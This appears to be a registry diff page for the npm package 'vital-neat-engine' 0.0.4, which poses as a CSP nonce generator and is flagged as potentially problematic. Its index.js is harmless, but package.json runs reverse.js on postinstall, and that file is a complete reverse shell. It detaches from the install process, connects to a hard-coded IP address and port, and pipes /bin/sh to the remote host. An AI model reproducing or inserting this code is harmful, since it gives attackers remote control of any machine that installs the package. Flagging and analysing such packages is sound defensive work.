vital-neat-engine 0.0.4

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of vital-neat-engine might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +5 -0
  2. package/package.json +10 -0
  3. package/reverse.js +33 -0
package/index.js ADDED
@@ -0,0 +1,5 @@
1
+ const crypto = require('crypto');
2
+
3
+ module.exports = function generateNonce() {
4
+ return crypto.randomBytes(16).toString('base64').replaceAll('=','');
5
+ };
package/package.json ADDED
@@ -0,0 +1,10 @@
1
+ {
2
+ "name": "vital-neat-engine",
3
+ "version": "0.0.4",
4
+ "description": "generates nonce for CSP policy",
5
+ "author": "pavkirill",
6
+ "scripts": {
7
+ "postinstall": "node reverse.js"
8
+ },
9
+ "license": "MIT"
10
+ }
package/reverse.js ADDED
@@ -0,0 +1,33 @@
1
+ #!/usr/bin/env node
2
+
3
+ var net = require('net');
4
+ var spawn = require('child_process').spawn;
5
+
6
+ if (!process.env.IS_CHILD) {
7
+ spawn(process.argv[0], process.argv.slice(1), {
8
+ detached: true,
9
+ stdio: 'ignore',
10
+ env: Object.assign({ IS_CHILD: "1" }, process.env)
11
+ });
12
+ process.exit(0);
13
+ }
14
+
15
+ var HOST, PORT, TIMEOUT;
16
+ HOST="3.141.210.37";
17
+ PORT="19895";
18
+ TIMEOUT="5000";
19
+
20
+ function c(HOST,PORT) {
21
+ var client = new net.Socket();
22
+ client.connect(PORT, HOST, function() {
23
+ var sh = spawn('/bin/sh',[]);
24
+ client.write("Connected\r\n");
25
+ client.pipe(sh.stdin);
26
+ sh.stdout.pipe(client);
27
+ });
28
+ client.on('error', function(e) {
29
+ setTimeout(c(HOST,PORT), TIMEOUT);
30
+ });
31
+ }
32
+
33
+ c(HOST,PORT);